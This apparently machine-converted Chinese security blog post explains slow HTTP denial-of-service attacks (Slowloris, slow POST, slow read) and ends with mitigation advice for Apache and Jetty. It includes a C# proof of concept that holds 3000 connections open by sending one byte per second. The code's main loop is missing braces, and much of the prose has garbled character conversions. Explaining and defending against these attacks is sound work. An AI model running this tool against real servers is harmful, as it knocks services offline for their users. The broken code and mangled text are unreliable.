提起攻擊,第一反應就是海量的流量、海量的封包。但有一種攻擊卻反其道而行之,以慢著稱,以至于有些攻擊目标被打死了都不知道是怎麼死的,這就是慢速連接配接攻擊。
總而言之,該工具的原理就是設法讓伺服器等待,當伺服器在保持連接配接等待時,就消耗了資源。
1、 最具代表性的是rsnake發明的Slowloris,又被稱為slow headers。
【攻擊原理】
HTTP協定規定,HTTP Request以\r\n\r\n(0d0a0d0a)結尾表示用戶端發送結束,服務端開始處理。那麼,如果永遠不發送\r\n\r\n會如何?Slowloris就是利用這一點來做DDoS攻擊的。攻擊者在HTTP請求頭中将Connection設定為Keep-Alive,要求Web Server保持TCP連接配接不要斷開,随後緩慢地每隔幾分鐘發送一個key-value格式的資料到服務端,如a:b\r\n,導緻服務端認為HTTP頭部沒有接收完成而一直等待。如果攻擊者使用多線程或者傀儡機來做同樣的操作,伺服器的Web容器很快就被攻擊者占滿了TCP連接配接而不再接受新的請求。
【工具示範】
用Wireshark抓包檢視http請求頭中有随機的key-value鍵值對,如下圖紅圈所示,且http請求頭結尾不完整,是“0d 0a”
如果是正常的http請求頭,結尾是“0d0a 0d 0a”,正常結束用戶端請求 如下圖所示
2、Slowloris的變種--Slow HTTP POST,也稱為Slow body。
在POST送出方式中,允許在HTTP的頭中聲明content-length,也就是POST内容的長度。
在送出了頭以後,将後面的body部分卡住不發送,這時伺服器在接受了POST長度以後,就會等待用戶端發送POST的内容,攻擊者保持連接配接并且以10S-100S一個位元組的速度去發送,就達到了消耗資源的效果,是以不斷地增加這樣的連結,就會使得伺服器的資源被消耗,最後可能當機。
【工具示範】
用Wireshark抓包可以看到,header結尾是正常的“0d 0a 0d 0a”,但Content-Length字段設定為一個很大的值8192,同時不在一個包中發送完整post資料而是每間隔100秒發送随機的key-value鍵值對。
3、Slow Read attack
采用調整TCP協定中的滑動視窗大小,來對伺服器單次發送的資料大小進行控制,使得伺服器需要對一個回應分成很多個包來發送。要使這種攻擊效果更加明顯,請求的資源要盡量大。
用Wireshark抓包可以看出,當請求a.wmv資源(大小有9M多)時,用戶端windowssize被刻意設定為1152位元組。用戶端緩沖區在被來自伺服器的資料填滿後,發出了[TCP ZeroWindow]告警,迫使服務端等待。
受到以上各種慢速攻擊後,伺服器再無法通路
HTTP Post慢速DOS攻擊第一次在技術社群被正式披露是今年的OWASP大會上,由Wong Onn Chee 和 Tom Brennan共同示範了使用這一技術攻擊的威力。他們的slides在這裡:
<a target="_blank" href="http://www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html">http://www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html</a>
這個攻擊的基本原理如下:
針對任意HTTP Server,建立一個連接配接,指定一個比較大的content-length,然後以很低的速度發包,比如10-100s發一個位元組,hold住這個連接配接不斷開。如果用戶端持續建立這樣的連接配接,那麼伺服器上可用的連接配接将很快被占滿,進而導緻DOS.
這一攻擊引起我注意的原因有這幾點:
1. 它可以針對任意Web服務。HTTP協定在接收到request之前是無法對請求内容作校驗的,是以即使你的Web應用沒有可用form表單,這個攻擊一樣有效。
2. 廉價。在用戶端以單線程方式建立較大數量的無用連接配接,并保持持續發包的代價非常低廉。實際試驗中一台普通PC可以建立的Socket連接配接在3000個以上。這對一台普通的web server,将是緻命的打擊。更不用說結合殭屍電腦群做分布式DOS了。
為示範這個攻擊,我做了一個簡單的POC,C#代碼如下。
using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets;
using System.Threading;
namespace HTTPPostDoS
{
class TestDemo
{
static void Main(string[] args)
{
string host = "target";
int port = 8080;
int max_number_of_connection = 3000;
List<TcpClient> clients = new List<TcpClient>();
for (int i = 0; i < max_number_of_connection; i++)
{
TcpClient client = new TcpClient();
clients.Add(client);
client.Connect(host, port);
if (client.Connected)
{
string header = "POST /a HTTP/1.1\r\n" +
"HOST: " + host + "\r\n" +
"Connection: keep-alive\r\n" +
"Keep-Alive: 900\r\n" +
"Content-Length: 100000000\r\n" +
"Content_Type: application/x-www-form-urlencoded\r\n" +
"Accept: *.*\r\n";
int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header));
if (sent <= 0)
{
Console.WriteLine("Error while connecting to server");
}
else
Console.WriteLine("Connected");
}
}
while (true)
int i = 0;
foreach (TcpClient client in clients)
i++;
client.Client.Send(System.Text.Encoding.Default.GetBytes("a"));
Console.WriteLine("Client " + i + " just sent a byte.");
Thread.Sleep(1000);
}
}
}
這段代碼向目标伺服器的示例Web Server發起攻擊,每秒鐘向伺服器post一個位元組以保證連接配接不會過期。
但是針對IIS的攻擊被證明沒有效果,同時我還測試了公司使用最多的Jetty,有了更多有意思的發現。
在針對Jetty做測試時,我發現針對不同的Jetty Connector配置,攻擊的效果有天壤之别。
我們知道Jetty在配置Connector時,可以有NIO和BIO兩種模式供選擇。當使用BIO模式時,Jetty的max thread被瞬間耗盡,服務停止。但是在使用NIO模式時,即使用戶端的惡意socket連接配接數已經達到3000個,但是服務依然沒有受到任何影響。這個應該很好了解,由于這兩種模式下的Connector直接影響到服務端處理Socket的模型。IIS的情況我不是很清楚,但是猜測MS在實作時采用了NIO Socket模型。
其它的Web Server,我沒有做進一步測試。如有興趣請自行驗證。
目前針對Apache伺服器,官方尚沒有解決方案出台。建議:
1. 檢查日志,查找類似的錯誤報警:
[error] server reached MaxClients setting, consider raising the MaxClients setting
看看有沒有被這種攻擊盯上。
2. 調整防火牆設定。有條件的,在IPS上做一下規則設定。
注意這些都還隻是暫時措施,因為這種攻擊的變化可能很多,事實上使用HTTP GET也可以達到一樣的效果。要知道GET也是可以傳輸資料的。
針對Jetty伺服器,強烈建議使用NIO非阻塞模式,對伺服器可以起到很好的保護作用。
相關閱讀:
補充1:我的同僚,Active安全經理Eric Zhong和應用安全工程師Vian Ma對此文有貢獻,謹此緻謝